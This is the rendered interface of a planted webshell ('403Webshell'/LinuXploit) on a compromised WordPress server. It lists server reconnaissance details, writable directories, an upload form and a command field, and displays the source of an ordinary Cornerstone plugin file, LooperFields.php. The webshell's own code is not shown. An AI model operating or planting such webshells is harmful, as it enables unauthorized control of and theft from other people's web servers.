403Webshell
Server IP : 104.21.74.147  /  Your IP : 216.73.217.154
Web Server : nginx/1.24.0
System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/dynamiccontent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/dynamiccontent/LooperFields.php
<?php


// Populate with looper data, and the depth data
add_filter('cs_tree_data_element_selector_looper', function() {
  $LooperManager = CS('Looper_Manager');

  $looperFields = $LooperManager->get_current_data_choices();

  // Build Depths
  $stack = $LooperManager->get_provider_stack();

  $depths = [];

  foreach ($stack as $provider) {
    $choices = $LooperManager->buildChoices($provider->get_current_data_formatted());

    if (method_exists($provider, 'translate_field_choices')) {
      $choices = $provider->translate_field_choices($choices);
    }

    $depths[] = $choices;
  }

  return [
    'current' => $looperFields,
    'depths' => $depths,
  ];
});

add_filter('cs_tree_data_element_default_looper', function($depths) {
  $post = get_post();
  return cs_array_as_choices(array_keys((array)$post));
});

Youez - 2016 - github.com/yon3zu
LinuXploit